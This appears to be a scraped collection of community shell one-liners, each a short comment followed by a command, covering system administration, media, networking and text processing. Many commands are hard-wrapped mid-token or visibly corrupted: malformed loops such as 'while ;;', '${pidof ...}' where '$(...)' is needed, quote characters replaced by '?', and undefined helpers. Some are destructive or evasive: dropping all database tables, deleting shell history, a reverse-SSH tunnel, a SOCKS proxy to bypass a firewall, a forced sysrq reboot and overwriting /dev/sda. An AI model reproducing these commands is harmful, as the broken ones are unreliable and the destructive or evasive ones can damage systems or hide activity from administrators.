system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com

# Pass TAB as field separator to sort, join, cut, etc.
sort -t $'\t' -k 2 input.txt

# Indent all the files in a project using emacs
find -iname \*.ch -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (in
dent-region (point-min) (point-max) nil) (save-buffer))" --kill \;

# Drop all tables from a database, without deleting it
mysqldump -u $USER --password=$PASSWORD --add-drop-table --no-data "$DATABASE"
| grep ^DROP | mysql -u $USER --password=$PASSWORD "$DATABASE"

# Record a webcam output into a video file.
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mp
eg4 myvideo.avi

# Check ps output to see if file is running, if not start it
ps -C thisdaemon || { thisdaemon & }

# Extract audio track from a video file using mencoder
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi

# Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
mplayer dvdnav:// -dvd-device foo.img -mouse-movements

# Dump a web page
curl -s http://google.com | hexdump -C|less

# Let's make screen and ssh-agent friends
eval `ssh-agent`; screen

# Verify if user account exists in Linux / Unix
id <username>

# Customize time format of 'ls -l'
```

```
ls -l --time-style="+%Y-%m-%d %H:%M:%S"

# Backup your OpenWRT config (only the config, not the whole system)
curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz

# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)\$/\1/p'

# Converts uppercase chars in a string to lowercase
s="StrinG"; echo ${s,,}

# Cleanup Python bytecode files
find . -name "*.py[co]" -exec rm -f {} \;

# Show an application's environment variables
sudo sed 's/\o0/\n/g' "/proc/${pidof -x firefox}/environ" ;# replace firefox

# Batch file name renaming (copying or moving) w/ glob matching.
for x in *.ex1; do mv "$x" "${x%ex1}ex2"; done

# Ping Twitter to check if you can connect
wget http://twitter.com/help/test.json -q -O -

# display date of last time a process was started in `date` format
ps -o lstart <pid>

# Never rewrites a file while copying (or moving)
cp --backup=t source.file target.file

# Every Nth line position # (AWK)
awk 'NR%3==1' file

# Add .gitignore files to all empty directories recursively from your current directory
find . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;

# nice disk usage, sorted by size, see description for full command
du -sk /* | sort -nr

# xargs for builtin bash commands
bargs { while read i; do "$@" "$i"; done }

# Break lines after, for example 78 characters, but don't break within a word/string
fold -w 78 -s file-to-wrap

# connect to all screen instances running
screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done

# Dump sqlite database to plain text format
echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt

# Create an ISO Image from a folder and burn it to CD
hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
```

```
# Open Perl module source in your editor
$EDITOR `perldoc -l Module::Name`

# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
for i in `ls -l | grep foo`;do mv -- "$i" "${i//foo/bar}";done

# List only the directories
tree -dL 1

# How many Linux and Windows devices are on your network?
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"

# Shows physically connected drives (SCSI or SATA)
ls /sys/bus/scsi/devices

# Switch to the previous branch used in git(1)
git checkout -

# Burst a Single PDF Document into Single Pages and Report its Data to doc_data.txt
pdftk mydoc.pdf burst

# Browse shared folder when you're the only Linux user
smbclient -U userbob //10.1.1.75/Shared

# show all key and mouse events
xev

# Find out what the day ends in
date +%A | tail -2c

# Instant mirror from your laptop + webcam
mplayer tv:// -vf mirror

# embed referred images in HTML files
grep -ioE "(url\(|src=)['\"]?[^'\"]*" a.html | grep -ioE "[^\"'()*. (jpg|png|gif)" | while read l ; do sed -i "s>$l>data:image/${l/[^\."].*/};base64,`openssl enc -base64 -in $l | tr -d '\n'`>" a.html ; done;

# Arch Linux sort installed packages by size
paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print $4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t

# Convert your favorite image in xpm for using in grub
convert image123.png -colors 14 -resize 640x480 grubimg.xpm

# Top 10 requestors by IP address from Apache/NCSA Logs
awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10

# recursive search and replace old with new string, inside files
$rppl -R oldstring newstring folder

# In place line numbering
{ rm -f file10 && nl > file10; } < file10

# Rsync files with spaces
rsync [options] -- * target
```

```

# Prepare B&W scans for clean looking, searchable PDF
convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 p
agexxx.tiff; tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf pagexxx.ti
ff

# Merge files, joining each line in one line
paste file1 file2 fileN > merged

# MySQL dump restore with progress bar and ETA
pv bigdump.sql.gz | gunzip | mysql

# Randomize lines in a file
sort -R SOMEFILE

# Change the homepage of Firefox
sed -i 's|\\("browser.startup.homepage",\\) "\\(.*\\)"|\\1 "http://sliceoflinux.com"|
' .mozilla/firefox/*.default/prefs.js

# Find which jars contain a class
find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $
file | grep "Foo.class"; done

# Get a shell with a not available account
su - <user> -s /bin/sh -c "/bin/sh"

# GRUB2: set Super Mario as startup tune
sudo bash -c 'echo "GRUB_INIT_TUNE=\\\"480 165 2 165 2 165 3 554 1 587 1 554 2 370
1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\\\" >> /etc/default/grub && up
date-grub'

# How many days until the end of the year
echo "There are $((($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in yea
r $(date +%Y)."

```

```
# download file1 file2 file3 file4 .... file 100
wget http://domain.com/file{1..100}

# Merge several pdf files into a single file
pdftk $* cat output $merged.pdf

# make 100 directories with leading zero, 001...100, using bash3.X
mkdir $(printf '%03d\n' {1..100})

# converting horizontal line to vertical line
tr '\t' '\n' < inputfile

# Repeat a portrait eight times so it can be cut out from a 6"x4" photo and used
  for visa or passport photos
montage 2007-08-25-3685.jpg +clone -clone 0-1 -clone 0-3 -geometry 500 -frame 5
output.jpg

# Watch your freebox flux, through a other internet connection (for French users
)
vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{v
codec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http
,mux=ogg,url=:12345}' -I ncurses 2> /dev/null

# Take a screenshot of the window the user clicks on and name the file the same
as the window title
sleep 4; xwd >foo.xwd; mv foo.xwd "$(dd skip=100 if=foo.xwd bs=1 count=256 2>/de
v/null | egrep -ao '^[[:print:]]+' | tr / :).xwd"

# Use result of the last command
`!!`

# Most simple way to get a list of open ports
netstat -lnp

# List files by quoting or escaping special characters.
ls --quoting-style={escape,shell,c}

# Show your account and windows policy settings with Results of Policy msc.
rsop.msc

# send file to remote machine and unzip using ssh
ssh user@host 'gunzip - > file' < file.gz

# To have only unique lines in a file
sort file1.txt | uniq > file2.txt

# Convert df command to posix; uber GREPable
df -P

# Change Title of Terminal Window to Verbose Info useful at Login
echo -ne "\033]0;`id -un`:`id -gn`@`hostname`|uname -n|sed 1q` `who -m|sed -e "s
%^.* \ (pts/[0-9]*\).*\(\.*\)\%[\1] (\2)%g" ` [ `uptime|sed -e "s/.*: \([^\,]*\).*\
1/" -e "s/ //g" ` / `ps aux|wc -l`]\007"

# Run local bash script on remote server
ssh -T user@server < script.sh

# enable all bash completions in gentoo
for x in $(eselect bashcomp list | sed -e 's/ //g' | cut -d']' -f2 | sed -e 's/\
```



```

*//');do eselect bashcomp enable $x --global;sleep 0.5s;done

# Printable random characters
tr -dc '[:print:]' < /dev/urandom

# Print line immediately before a matching regex.
awk '/regex/{print x};{x=$0}'

# list all hd partitions
awk '/d.[0-9]/{print $4}' /proc/partitions

# floating point operations in shell scripts
bc -l <<< s(3/5)

# Remove Thumbs.db files from folders
rm -f **/Thumbs.db

# send a .loc file to a garmin gps over usb
gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:

# List last opened tabs in firefox browser
F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^\]]*' $F | cut -d[ -f
2 | while read A ; do echo $A | sed s/url:\/\n/g | tail -1 | cut -d\" -f2; done

# Find jpeg images and copy them to a central location
find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=number
ed -dp -u --target-directory {location} &

# Lock your KDE4 remotely (via regular KDE lock)
DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &

# Uniformly correct filenames in a directory
for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done

# Compare two files side-by-side
sdiff file1 file2

# remote-pbzip2 and transfer a directory to local file
ssh user@host 'tar -c --use-compress-prog=pbzip2 /<dir>/<subdir>' > <localfile>.
tar.bz2

# SVN Status log to CSV
svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)/\n/g' | sed
-r 's/^r//' | sed -r "s/[0-9]+lines?//g" | sort -g

# Generate 10 pronounceable passwords
apg -a 0 -n 10

# formatting number with comma
printf "%'d\n" 1234567

# Simulate typing
echo "You can have a bit more realistic typing with some shell magic." | pv -qL
${10+(-2 + RANDOM%5)}

# list and sort files by size in reverse order (file size in human readable outp
ut)
ls -S -lhr

# Send a local file via email

```

```

mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/nu
ll

# force a rescan on a host of scsi devices (useful for adding partitions to vmwa
re on the fly)
echo "--" > /sys/class/scsi_host/host0/scan

# calculate established tcp connection of local machine
netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Con
nected:\t", i}'

# Analyse compressed Apache access logs for the most commonly requested pages
zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20

# Adjust gamma so monitor doesn't mess up your body's clock
xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --bright
ness 0.7 --gamma 2:3:4

# Console clock -- within screen
echo 'hardstatus alwayslastline "%d-%m-%y %c:%s | %w"' >> $HOME/.screenrc; scre
en

# find and grep Word docs
find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; }
| grep -C4 search_term;

# List all TCP opened ports on localhost in LISTEN mode
netstat -nptl

# Convert files from DOS line endings to UNIX line endings
perl -pi -e 's/\r\n?/\n/g'

# Find the ratio between ram usage and swap usage.
sysctl -a | grep vm.swappiness

# Getting GnuPG Public Keys From KeyServer
pgp --keyserver pgp.surfnet.nl --recv-key 19886493

# Find out what package some command belongs to (on RPM systems)
rpm -qif `which more`

# Monitor a file with tail with timestamps added
tail -f file | while read line; do printf "$(date -u '+%F %T%z')\t$line\n"; done

# Word-based diff on reformatted text files
diff -uw <(fmt -1 {file1, file2})

# Displays process tree of all running processes
pstree -Gap

# Extract track 9 from a CD
mplayer -fs cdda://9 -ao pcm:file=track9.wav

# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -executable -type f -printf "%f\n"

# Save a file you edited in vim without the needed permissions - (Open)solaris v
ersion with RBAC
:w !pfexec tee %

```

```

# Using netcat to copy files between servers
On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"

# Are the two lines anagrams?
(echo foobar; echo farboo) | perl -E 'say[sort<>=~/. /g]~~[sort<>=~/. /g]?"anagram
":"not anagram"'

# List your MACs address
ip link | awk '/link/ {print $2}'

# Delete C style comments using vim
vim suite.js -c '%s!/\*\_\.\{-\}\*/!!g'

# Edit all files found having a specific string found by grep
grep -Hrli 'foo' * | xargs vim

# Clear your history saved into .bash_history file!
history -c && rm -f ~/.bash_history

# Bash autocomplete case insensitive search
shopt -s nocaseglob

# Alternative size (human readable) of files and directories (biggest last)
du -ms * .[^.]* | sort -nk1

# Find and display most recent files using find and perl
find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(s
tat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @
files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|ta
il

# Print a row of characters across the terminal
printf -v row "%${COLUMNS}s"; echo ${row// /#}

# run command on a group of nodes in parallel redirecting outputs
xargs -n1 -P100 -I{} sh -c 'ssh {} uptime >output/{} 2>error/{}' <hostlist

# get function's source
typeset -f <function name>; declare -f <function name>

# To get the CPU temperature continuously on the desktop
while ;; do acpi -t | osd_cat -p bottom ; sleep 1; done &

# download a sequence of vim patch
seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wge
t -c {};

# Command to Show a List of Special Characters for bash prompt (PS1)
alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"

# Forget remembered path locations of previously ran commands
hash -r

# Change SSH RSA passphrase
ssh-keygen -f ~/.ssh/id_rsa -p

# Copy sparse files
cp --sparse=always <SRC> <DST>

```

```

# Find Out My Linux Distribution Name and Version
cat /etc/*-release

# Kill most recently created process.
pkill -n firefox

# List top 20 IP from which TCP connection is in SYN_RECV state
netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort
| uniq -c | sort -n | tail -20

# total text files in current dir
file -i * | grep -c 'text/plain'

# View the latest astronomy picture of the day from NASA.
apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.h
tml|grep -Pom1 'image/\d+/.*\.\w+');}

# Who has the most Apache connections.
netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n
| grep -c IPHERE

# Clone current directory into /destination verbosely
find . | cpio -pumdv /destination

# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }

# Monitor a file with tail with timestamps added
tail -f file |xargs -IX printf "%(date -u)\t%s\n" X

# Count all connections established on gateway
cat /proc/net/ip_contrack | grep ESTABLISHED | grep -c -v ^#

# Catch a process from a user and strace it.
x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0
; fi; done; strace -vvtf -s 256 -p $process

# Reverse ssh
#INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host
#ssh user@localhost -p 8888#

# List all installed PERL modules by CPAN
perldoc perllocal

# find listening ports by pid
lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'

# Watch the progress of 'dd'
pkill -USR1 ^dd$

# Export log to html file
cat /var/log/auth.log | logtool -o HTML > auth.html

# Localize provenance of current established connections
for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoplo
kup $i;done

# Hex math with bc

```

```

echo 'obase=16; C+F' | bc

# Scan for new SCSI devices
echo "--" > /sys/class/scsi_host/host0/scan

# geoiip lookup
geoiip(){curl -s "http://www.geody.com/geoiip.php?ip=${1}" | sed '/^IP:;!d;s/<[^>]
[^>]*>//g' ;}

# Get file access control list
getfacl /mydir

# Ultimate current directory usage command
du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -
f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done

# Remove color codes (special characters) with sed
sed -r "s:\x1B\[ [0-9;]*[mK]::g"

# Add all files not under subversion control
for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;

# Currency Conversion
currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&f
rom=$2&to=$3&hl=es" | sed '/res;!d;s/<[^>]*>//g'; }

# list files with last modified at the end
alias lrt='ls -lart'

# Batch File Rename with awk and sed
ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh

# Display time of accounts connection on a system
ac -p

# ISO info
isoinfo -d -i filename.iso

# Get your commandlinefu points (upvotes - downvotes)
username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/js
on|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "
%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s +=
$1; $n++;}}'

# Minimize Apps When Middle Clicking on Titlebar
gconftool-2 --set "/apps/metacity/general/action_middle_click_titlebar" --type s
tring "minimize"

# Display a list of all PHP classes that are called statically
find . -name "*.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sor
t | uniq -c

# Runs a command without hangups.
nohup <command> &

# Empty the linux buffer cache
sync && echo 3 > /proc/sys/vm/drop_caches

# print all except first collumn
cut -f 2- -d " "

```

```

# Binary clock
for a in $(date +"%H%M"|cut -b1,2,3,4 --output-delimiter=" ");do case "$a" in 0)
echo "....";;1)echo "...*";;2)echo "..*";;3)echo ".*";;4)echo ".*";;5)echo
".*";;6)echo ".*";;7)echo ".*";;8)echo ".*";;9)echo ".*";;esac;done

# List all active access_logs for currently running Apache or Lighttpd process
lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')|
awk '$9 ~ /access.log$/ {print $9| "sort -u"}'

# Prevent non-root users from logging in
touch /etc/nologin

# Quickly Encrypt a file with gnuPG and email it with mailx
cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -
s "Email Subject" user@email.com

# Binary clock
read -a A <<<"8 9 5 10 6 0 3 11 7 4";B='.***..*....***';for C in $(date +"%H%M"
|fold -w1);do echo "${B:${A[C]}:4}";done

# exit if another instance is running
if [ `fuser $0|wc -w` -gt "1" ];then exit; fi

# output stats from a running dd command to see its progress
watch -n60 --kill -USR1 $(pgrep dd)

# Gives you what's between first string and second string included.
sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep
"^ABC" | tr "~" "\n"

# List of directories sorted by number of files they contain.
sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i
| wc -l) ": $i"; done; )

# find files larger than 1 GB, everywhere
find / -type f -size +1000000000c

# Get Futurama quotations from slashdot.org servers
lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'

# Rename files with vim.
qmv -fdo

# Convert string to uppercase
echo string | tr '[:lower:]' '[:upper:]'

# Restore a local drive from the image on remote host via ssh
ssh user@server 'dd if=sda.img' | dd of=/dev/sda

# Show sorted list of files with sizes more than 1MB in the current dir
du | sort -nr | cut -f2- | xargs du -hs

# Get your commandlinefu points (upvotes - downvotes)
curl -s http://www.commandlinefu.com/commands/by/$1/xml | awk -F'<?div[>]*>' '
/class=\ "command"\/{gsub(/&quot;/,"\"",$2); gsub(/&lt;/,"<",$2); gsub(/&gt;/,">
",$2); gsub(/&amp;/,"\\&",$2); cmd=$2} /class=\ "num-votes"\/{printf("%3i %s\n",
$2, cmd)}'

```

```

# find broken symbolic links
find -L . -type l

# Size (in bytes) of all RPM packages installed
echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`))

# rename all jpg files with a prefix and a counter
ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\.(\.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh

# Remount root in read-write mode.
sudo mount -o remount,rw /

# make directory with current date
mkdir $(date +%Y_%m_%d)

# Copy from host 1 to host 2 through your host
ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/ && tar -xf -?

# Pick a random image from a directory (and subdirectories) every thirty minutes
and set it as xfce4 wallpaper
while ;; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)')$' | sort -R | head -1)"; sleep 30m; done

# grep across a git repo and open matching files in gedit
git grep -l "your grep string" | xargs gedit

# Show current pathname in title of terminal
export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'

# give me back my sound card
lsof /dev/snd/pcm*p /dev/dsp | awk ' { print $2 }' | xargs kill

# Debug SSH at the Maximum Verbosity Level
alias sshv='ssh -vvv -o LogLevel=DEBUG3'

# Copy input sent to a command to stderr
rev <<< 'lorem ipsum' | tee /dev/stderr | rev

# fetch all revisions of a specific file in an SVN repository
svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1;/s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s

# type partial command, kill this command, check something you forgot, yank the
command, resume typing.
dd [...] p

# Prepend a text to a file.
sed -i '1s/^/text to prepend\n/' file1

# sorting file contents into individual files with awk
awk '{print > $3".txt"}' FILENAME

# doing some floating point math
echo "8000000/(20*6*86400)" | bc -l

# Puts every word from a file into a new line

```

```

tr ' \t' '\n' <INFILE >OUTFILE

# Read aloud a text file in Ubuntu (and other Unixes with espeak installed)
espeak -f text.txt

# get colorful side-by-side diffs of files in svn with vim
vimdiff <(svn cat "$1") "$1"

# List only directories, one per line
ls -ld */

# Recursively scan directories for mp3s and pass them to mplayer
rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing

# Install Linux Kernel Headers
sudo apt-get install linux-headers-$(uname -r)

# Gzip files older than 10 days matching *
find . -type f -name "*" -mtime +10 -print -exec gzip {} \;

# Random colours at random locations
p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while ;;do p; sleep .001;done

# Awk: Perform a rolling average on a column of data
awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+= $1;array[mod]=$1;print sum/count}' file.dat

# pimp text output e.g. "Linux rocks!" to look nice
cowsay Linux rocks!

# Listing only one repository with yum
yum --disablerepo=* --enablerepo=epel list available

# Create a backup copy of a MySQL database on the same host
mysqldump OLD_DB | cat <(echo "CREATE DATABASE NEW_DB; USE NEW_DB;") - | mysql

# List only directories, one per line
find . -type d -maxdepth 1

# replace a character/word/string in a file using vim
:%s/old/new/g

# Check if you need to run LaTeX to update the TOC
cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi

# Force hard reset on server
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger

# remove files and directories with access time older than a given date
touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy

# pimp text output e.g. "Linux rocks!" to look nice
figlet Linux rocks!

# display a smiling smiley if the command succeeded and a sad smiley if the command failed
<command>; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi

```



```
# Short URLs with is.gd
isgd() { /usr/bin/wget -q0 - "http://is.gd/create.php?format=simple&url=$1" ;}

# Time Synchronisation with NTP
ntpdate ntp.ubuntu.com pool.ntp.org

# Speaking alarm clock
sleep 8h && while [ 1 ] ; do date "+Good Morning. It is time to wake up. The time is %I %M %p" | espeak -v english -p 0 -s 150 -a 100 ; sleep 1m; done

# split source code to page with numbers
pr -l 40 bitree.c > printcode; split -40 printcode -d page_

# Update Ping.fm status
curl -d api_key="$api_key" -d user_app_key="$user_app_key" -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post

# Commit command to history file immediately after execution
PROMPT_COMMAND="history -a"

# Burn a directory of mp3s to an audio cd.
alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i}%.*.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'

# Analyze, check, auto-repair and optimize Mysql Database
mysqlcheck -a --auto-repair -c -o -uroot -p [DB]

# Generate the CPU utilization report
sar -u 2 5

# Dump HTTP header using wget
wget --server-response --spider http://www.example.com/

# cooking a list of numbers for calculation
echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'

# See entire packet payload using tcpdump.
tcpdump -nnvXSs 1514 -i <device> <filters>

# View acceptable client certificate CA names asked for during SSL renegotiation
openssl s_client -connect www.example.com:443 -prexit

# diff output of two commands
diff <(tail -10 file1) <(tail -10 file2)

# Display command lines visible on commandlinefu.com homepage
ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com")))/".command").each{|c| puts c.to_plain_text}'

# Set creation timestamp of a file to the creation timestamp of another
touch -r "$FILE1" "$FILE2"

# Restore user,group and mod of an entire website
alias restoremod='chgrp users -R .;chmod u=rwX,g=rX,o=rX -R .;chown $(pwd |cut -d / -f 3) -R .'

# Prints new content of files
```

```

tail -f file1 (file2 .. fileN)

# Remove annoying files from recently extracted zip archive
unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r

# Test a serial connection
host A: cat /proc/dev/ttyS0      host B: echo hello > /dev/ttyS0

# Find all files currently open in Vim and/or gVim
vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5

# Display Motherboard Info
dmidecode -t baseboard

# backup your playstation game using rip
$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --drive
r generic-mmc-raw FILE_NAME.toc

# unbuffered python output
$ python -u script.py

# Sum file sizes
du -scb

# Netstat Connection Check
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail

# record the input of your sound card into ogg file
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100
--raw-bits=16 - > MyLiveRecording.ogg

# Scrollable Colorized Long Listing - Hidden Files Sorted Last
less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )

# Launch a game, like Tetris, when apt-get installing an app larger than 50 Mega
bytes
APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After t
his operation, \([0-9]\{1,\}\).*MB.*\/\1/p') -gt 50 ]; then gnometriz 2>/dev/null
& sudo apt-get install $APP; else sudo apt-get install $APP; fi

# diff two svn repos ignoring spaces,tabs and svnfiles
diff -wubBEr -x .svn dirA dirB

# The program listening on port 8080 through IPv6
lsof -Pnl +M -i6:8080

# Run a command on a remote machine
ssh user@host "ps aux | grep httpd | wc -l"

# Grab a list of MP3s out of Firefox's cache
find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpe
g/{print $1}'

# Import/clone a Subversion repo to a git repo
git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git
-dir

# read a file line by line and perform some operation on each line
while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt

```

```

# Show memory stats on Nexenta/Solaris
echo ::memstat | mdb -k

# Prints any IP out of a file
perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt

# Show bash's function definitions you defined in .bash_profile or .bashrc
declare -f [ function_name ]

# Open Remote Desktop (RDP) from command line having a custom screen size
xfreerdp --plugin rdpwnd -g 1280x720 -a 24 -z -x m -u $username -p $password 10.20.30.40

# Pull Total Memory Usage In Virtual Environment
ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'

# Make backups recurse through directories
find -type -f -exec cp {} {}.bak \;

# Search for an active process without catching the search-process
ps -ef | awk '/process-name/ && !/awk/ {print}'

# On Screen micro display for battery and CPU temperature. nifty, small, omnipresent
acpi -t | osd_cat -p bottom

# Speed up upgrades for a debian/ubuntu based system.
sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade

# Cheap iftop
watch 'netstat -anptu |egrep "^Proto|:80 "'

# Delete empty directories recursively
find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;

# Remove all mail in Postfix mail queue.
postsuper -d ALL

# Schedule a command while one is already running.
a command is running... <^z> fg; scheduled_command

# Find all dot files and directories
ls -d .*

# Get just the IP for a hostname
getent hosts google.com | awk '{print $1}'

# Find default gateway (proper at ppp connections too)
route -n | perl -ne '$ANY="0.0.0.0"; /^$ANY/ and split /\s+/ and print "Gateway to the World: ", ($_[1]!=$ANY)?$_[1]:(`ip address show $_[ $# ]` =~ ~/peer ([0-9\.]+) / and $1), ", via $_[ $# ]\n"'

# Mac OS X: Change Color of the ls Command
export LSCOLORS=gxfixcxdxbxegedabagacad

# ping a host until it responds, then play a sound, then exit

```

```
beepwhenup () { echo 'Enter host you want to ping: '; read PHOST; if [[ "$PHOST"
== "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if
[[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; bre
ak; fi; done; }

# Download a new release of a program that you already have very quickly
zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync

# Does a traceroute. Lookup and display the network or AS names and AS numbers.
lft -NAS google.com

# Start a SOCKS proxy to avoid a restrictive firewall
autossh -N -D localhost:1080 myhome.example.net -p 443

# Search inside a folder of jar/zip files
find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"

# Simple way to invoke a secure vnc session through ssh enabled router.
vncviewer -via root@your.dyndns.com 192.168.1.1

# Find all files with root SUID or SGID executables
sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -gr
oup root \) -ls

# Juste a reminder that this works.
true || false && echo true || echo false

